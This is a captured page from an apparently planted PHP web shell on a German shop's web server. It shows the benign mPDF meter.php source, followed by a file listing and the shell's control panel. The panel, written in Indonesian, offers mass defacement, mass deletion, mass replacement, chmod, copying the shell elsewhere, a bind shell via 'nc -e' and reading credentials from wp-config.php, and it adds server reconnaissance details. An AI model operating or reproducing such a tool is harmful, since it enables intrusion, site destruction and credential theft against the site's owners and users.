WPZ

berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/shop_styroporzuschnitte24_de/engine/Library/Mpdf/classes/meter.php (10.55 KB)
<?php

class meter {


function __construct() {

}

function makeSVG($tag, $type, $value, $max, $min, $optimum, $low, $high) {
  $svg = '';
  if ($tag == 'meter') {

    if ($type=='2') {
	/////////////////////////////////////////////////////////////////////////////////////
	///////// CUSTOM <meter type="2">
	/////////////////////////////////////////////////////////////////////////////////////
	$h = 10;
	$w = 160;
	$border_radius = 0.143;		// Factor of Height

	$svg = '<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
	<svg width="'.$w.'px" height="'.$h.'px" viewBox="0 0 '.$w.' '.$h.'" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" ><g>


	<defs>
	<linearGradient id="GrGRAY" x1="0" y1="0" x2="0" y2="1" gradientUnits="boundingBox">
	<stop offset="0%" stop-color="rgb(222, 222, 222)" />
	<stop offset="20%" stop-color="rgb(232, 232, 232)" />
	<stop offset="25%" stop-color="rgb(232, 232, 232)" />
	<stop offset="100%" stop-color="rgb(182, 182, 182)" />
	</linearGradient>

	</defs>
';
	$svg .= '<rect x="0" y="0" width="'.$w.'" height="'.$h.'" fill="#f4f4f4" stroke="none" />';

	// LOW to HIGH region
	//if ($low && $high && ($low != $min || $high != $max)) {
	if ($low && $high) {
	  $barx = (($low-$min) / ($max-$min) ) * $w;
	  $barw = (($high-$low) / ($max-$min) ) * $w;
	  $svg .= '<rect x="'.$barx.'" y="0" width="'.$barw.'" height="'.$h.'" fill="url(#GrGRAY)" stroke="#888888" stroke-width="0.5px" />';
	}

	// OPTIMUM Marker (? AVERAGE)
	if ($optimum) {
	  $barx = (($optimum-$min) / ($max-$min) ) * $w;
	  $barw = $h/2;
	  $barcol = '#888888';
	  $svg .= '<rect x="'.$barx.'" y="0" rx="'.($h*$border_radius).'px" ry="'.($h*$border_radius).'px" width="'.$barw.'" height="'.$h.'" fill="'.$barcol.'" stroke="none" />';
	}

	// VALUE Marker
	if ($value) {
	  if ($min != $low && $value < $low) { $col = 'orange'; }
	  else if ($max != $high && $value > $high) { $col = 'orange'; }
	  else { $col = '#008800'; }
	  $cx = (($value-$min) / ($max-$min) ) * $w;
	  $cy = $h/2;
	  $rx = $h/3.5;
	  $ry = $h/2.2;
	  $svg .= '<ellipse fill="'.$col.'" stroke="#000000" stroke-width="0.5px" cx="'.$cx.'" cy="'.$cy.'" rx="'.$rx.'" ry="'.$ry.'"/>';
	}

	// BoRDER
	$svg .= '<rect x="0" y="0" width="'.$w.'" height="'.$h.'" fill="none" stroke="#888888" stroke-width="0.5px" />';

	$svg .= '</g></svg>';
    }
    else if ($type=='3') {
	/////////////////////////////////////////////////////////////////////////////////////
	///////// CUSTOM <meter type="2">
	/////////////////////////////////////////////////////////////////////////////////////
	$h = 10;
	$w = 100;
	$border_radius = 0.143;		// Factor of Height

	$svg = '<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
	<svg width="'.$w.'px" height="'.$h.'px" viewBox="0 0 '.$w.' '.$h.'" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" ><g>


	<defs>
	<linearGradient id="GrGRAY" x1="0" y1="0" x2="0" y2="1" gradientUnits="boundingBox">
	<stop offset="0%" stop-color="rgb(222, 222, 222)" />
	<stop offset="20%" stop-color="rgb(232, 232, 232)" />
	<stop offset="25%" stop-color="rgb(232, 232, 232)" />
	<stop offset="100%" stop-color="rgb(182, 182, 182)" />
	</linearGradient>

	</defs>
';
	$svg .= '<rect x="0" y="0" width="'.$w.'" height="'.$h.'" fill="#f4f4f4" stroke="none" />';

	// LOW to HIGH region
	if ($low && $high && ($low != $min || $high != $max)) {
	//if ($low && $high) {
	  $barx = (($low-$min) / ($max-$min) ) * $w;
	  $barw = (($high-$low) / ($max-$min) ) * $w;
	  $svg .= '<rect x="'.$barx.'" y="0" width="'.$barw.'" height="'.$h.'" fill="url(#GrGRAY)" stroke="#888888" stroke-width="0.5px" />';
	}

	// OPTIMUM Marker (? AVERAGE)
	if ($optimum) {
	  $barx = (($optimum-$min) / ($max-$min) ) * $w;
	  $barw = $h/2;
	  $barcol = '#888888';
	  $svg .= '<rect x="'.$barx.'" y="0" rx="'.($h*$border_radius).'px" ry="'.($h*$border_radius).'px" width="'.$barw.'" height="'.$h.'" fill="'.$barcol.'" stroke="none" />';
	}

	// VALUE Marker
	if ($value) {
	  if ($min != $low && $value < $low) { $col = 'orange'; }
	  else if ($max != $high && $value > $high) { $col = 'orange'; }
	  else { $col = 'orange'; }
	  $cx = (($value-$min) / ($max-$min) ) * $w;
	  $cy = $h/2;
	  $rx = $h/2.2;
	  $ry = $h/2.2;
	  $svg .= '<ellipse fill="'.$col.'" stroke="#000000" stroke-width="0.5px" cx="'.$cx.'" cy="'.$cy.'" rx="'.$rx.'" ry="'.$ry.'"/>';
	}

	// BoRDER
	$svg .= '<rect x="0" y="0" width="'.$w.'" height="'.$h.'" fill="none" stroke="#888888" stroke-width="0.5px" />';

	$svg .= '</g></svg>';
    }
    else {
	/////////////////////////////////////////////////////////////////////////////////////
	///////// DEFAULT <meter>
	/////////////////////////////////////////////////////////////////////////////////////
	$h = 10;
	$w = 50;
	$border_radius = 0.143;		// Factor of Height

	$svg = '<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
	<svg width="'.$w.'px" height="'.$h.'px" viewBox="0 0 '.$w.' '.$h.'" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" ><g>

	<defs>
	<linearGradient id="GrGRAY" x1="0" y1="0" x2="0" y2="1" gradientUnits="boundingBox">
	<stop offset="0%" stop-color="rgb(222, 222, 222)" />
	<stop offset="20%" stop-color="rgb(232, 232, 232)" />
	<stop offset="25%" stop-color="rgb(232, 232, 232)" />
	<stop offset="100%" stop-color="rgb(182, 182, 182)" />
	</linearGradient>

	<linearGradient id="GrRED" x1="0" y1="0" x2="0" y2="1" gradientUnits="boundingBox">
	<stop offset="0%" stop-color="rgb(255, 162, 162)" />
	<stop offset="20%" stop-color="rgb(255, 218, 218)" />
	<stop offset="25%" stop-color="rgb(255, 218, 218)" />
	<stop offset="100%" stop-color="rgb(255, 0, 0)" />
	</linearGradient>

	<linearGradient id="GrGREEN" x1="0" y1="0" x2="0" y2="1" gradientUnits="boundingBox">
	<stop offset="0%" stop-color="rgb(102, 230, 102)" />
	<stop offset="20%" stop-color="rgb(218, 255, 218)" />
	<stop offset="25%" stop-color="rgb(218, 255, 218)" />
	<stop offset="100%" stop-color="rgb(0, 148, 0)" />
	</linearGradient>

	<linearGradient id="GrBLUE" x1="0" y1="0" x2="0" y2="1" gradientUnits="boundingBox">
	<stop offset="0%" stop-color="rgb(102, 102, 230)" />
	<stop offset="20%" stop-color="rgb(238, 238, 238)" />
	<stop offset="25%" stop-color="rgb(238, 238, 238)" />
	<stop offset="100%" stop-color="rgb(0, 0, 128)" />
	</linearGradient>

	<linearGradient id="GrORANGE" x1="0" y1="0" x2="0" y2="1" gradientUnits="boundingBox">
	<stop offset="0%" stop-color="rgb(255, 186, 0)" />
	<stop offset="20%" stop-color="rgb(255, 238, 168)" />
	<stop offset="25%" stop-color="rgb(255, 238, 168)" />
	<stop offset="100%" stop-color="rgb(255, 155, 0)" />
	</linearGradient>
	</defs>

	<rect x="0" y="0" rx="'.($h*$border_radius).'px" ry="'.($h*$border_radius).'px" width="'.$w.'" height="'.$h.'" fill="url(#GrGRAY)" stroke="none" />
';

	if ($value) {
	  $barw = (($value-$min) / ($max-$min) ) * $w;
	  if ($optimum < $low) {
		if ($value < $low) { $barcol = 'url(#GrGREEN)'; }
		else if ($value > $high) { $barcol = 'url(#GrRED)'; }
		else { $barcol = 'url(#GrORANGE)'; }
	  }
	  else if ($optimum > $high) {
		if ($value < $low) { $barcol = 'url(#GrRED)'; }
		else if ($value > $high) { $barcol = 'url(#GrGREEN)'; }
		else { $barcol = 'url(#GrORANGE)'; }
	  }
	  else {
		if ($value < $low) { $barcol = 'url(#GrORANGE)'; }
		else if ($value > $high) { $barcol = 'url(#GrORANGE)'; }
		else { $barcol = 'url(#GrGREEN)'; }
	  }
	  $svg .= '<rect x="0" y="0" rx="'.($h*$border_radius).'px" ry="'.($h*$border_radius).'px" width="'.$barw.'" height="'.$h.'" fill="'.$barcol.'" stroke="none" />';
	}


	// Borders
	//$svg .= '<rect x="0" y="0" rx="'.($h*$border_radius).'px" ry="'.($h*$border_radius).'px" width="'.$w.'" height="'.$h.'" fill="none" stroke="#888888" stroke-width="0.5px" />';
	if ($value) {
	//  $svg .= '<rect x="0" y="0" rx="'.($h*$border_radius).'px" ry="'.($h*$border_radius).'px" width="'.$barw.'" height="'.$h.'" fill="none" stroke="#888888" stroke-width="0.5px" />';
	}


	$svg .= '</g></svg>';
    }
  }
  else {	// $tag == 'progress'

    if ($type=='2') {
	/////////////////////////////////////////////////////////////////////////////////////
	///////// CUSTOM <progress type="2">
	/////////////////////////////////////////////////////////////////////////////////////
    }
    else {
	/////////////////////////////////////////////////////////////////////////////////////
	///////// DEFAULT <progress>
	/////////////////////////////////////////////////////////////////////////////////////
	$h = 10;
	$w = 100;
	$border_radius = 0.143;		// Factor of Height

	if ($value or $value==='0') {
		$fill = 'url(#GrGRAY)';
	}
	else {
		$fill = '#f8f8f8';
	}

	$svg = '<svg width="'.$w.'px" height="'.$h.'px" viewBox="0 0 '.$w.' '.$h.'"><g>

	<defs>
	<linearGradient id="GrGRAY" x1="0" y1="0" x2="0" y2="1" gradientUnits="boundingBox">
	<stop offset="0%" stop-color="rgb(222, 222, 222)" />
	<stop offset="20%" stop-color="rgb(232, 232, 232)" />
	<stop offset="25%" stop-color="rgb(232, 232, 232)" />
	<stop offset="100%" stop-color="rgb(182, 182, 182)" />
	</linearGradient>

	<linearGradient id="GrGREEN" x1="0" y1="0" x2="0" y2="1" gradientUnits="boundingBox">
	<stop offset="0%" stop-color="rgb(102, 230, 102)" />
	<stop offset="20%" stop-color="rgb(218, 255, 218)" />
	<stop offset="25%" stop-color="rgb(218, 255, 218)" />
	<stop offset="100%" stop-color="rgb(0, 148, 0)" />
	</linearGradient>

	</defs>

	<rect x="0" y="0" rx="'.($h*$border_radius).'px" ry="'.($h*$border_radius).'px" width="'.$w.'" height="'.$h.'" fill="'.$fill.'" stroke="none" />
';

	if ($value) {
	  $barw = (($value-$min) / ($max-$min) ) * $w;
	  $barcol = 'url(#GrGREEN)';
	  $svg .= '<rect x="0" y="0" rx="'.($h*$border_radius).'px" ry="'.($h*$border_radius).'px" width="'.$barw.'" height="'.$h.'" fill="'.$barcol.'" stroke="none" />';
	}


	// Borders
	$svg .= '<rect x="0" y="0" rx="'.($h*$border_radius).'px" ry="'.($h*$border_radius).'px" width="'.$w.'" height="'.$h.'" fill="none" stroke="#888888" stroke-width="0.5px" />';
	if ($value) {
	//  $svg .= '<rect x="0" y="0" rx="'.($h*$border_radius).'px" ry="'.($h*$border_radius).'px" width="'.$barw.'" height="'.$h.'" fill="none" stroke="#888888" stroke-width="0.5px" />';
	}


	$svg .= '</g></svg>';

    }
  }

  return $svg;
}


}	// end of class

?>
namawaktuukuranownerpermaksi
..
barcode.php 2016-11-07 15:5865.91 KB 76129f60960:kunden-xw-x-----
edt
bmp.php 2016-11-07 15:587.7 KB 76129f60960:kunden-xw-x-----
edt
cssmgr.php 2016-11-07 15:5872.04 KB 76129f60960:kunden-xw-x-----
edt
desktop.ini 2016-11-07 15:5848 B 76129f60960:kunden-xw-x-----
edt
directw.php 2016-11-07 15:5813.36 KB 76129f60960:kunden-xw-x-----
edt
gif.php 2016-11-07 15:5816.4 KB 76129f60960:kunden-xw-x-----
edt
grad.php 2016-11-07 15:5832.36 KB 76129f60960:kunden-xw-x-----
edt
indic.php 2016-11-07 15:5866.04 KB 76129f60960:kunden-xw-x-----
edt
meter.php 2016-11-07 15:5810.55 KB 76129f60960:kunden-xw-x-----
edt
mpdfform.php 2016-11-07 15:5867.27 KB 76129f60960:kunden-xw-x-----
edt
myanmar.php 2016-11-07 15:5813.76 KB 76129f60960:kunden-xw-x-----
edt
otl.php 2016-11-07 15:58243.03 KB 76129f60960:kunden-xw-x-----
edt
otl_dump.php 2016-11-07 15:58155.32 KB 76129f60960:kunden-xw-x-----
edt
sea.php 2016-11-07 15:5810.07 KB 76129f60960:kunden-xw-x-----
edt
svg.php 2016-11-07 15:58129.56 KB 76129f60960:kunden-xw-x-----
edt
tocontents.php 2016-11-07 15:5829.62 KB 76129f60960:kunden-xw-x-----
edt
ttfontsuni.php 2016-11-07 15:58184.02 KB 76129f60960:kunden-xw-x-----
edt
ttfontsuni_analysis.php 2016-11-07 15:5814.21 KB 76129f60960:kunden-xw-x-----
edt
ucdn.php 2016-11-07 15:58138.78 KB 76129f60960:kunden-xw-x-----
edt
wmf.php 2016-11-07 15:586.64 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/shop_styroporzuschnitte24_de/engine/Library/Mpdf/classes
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK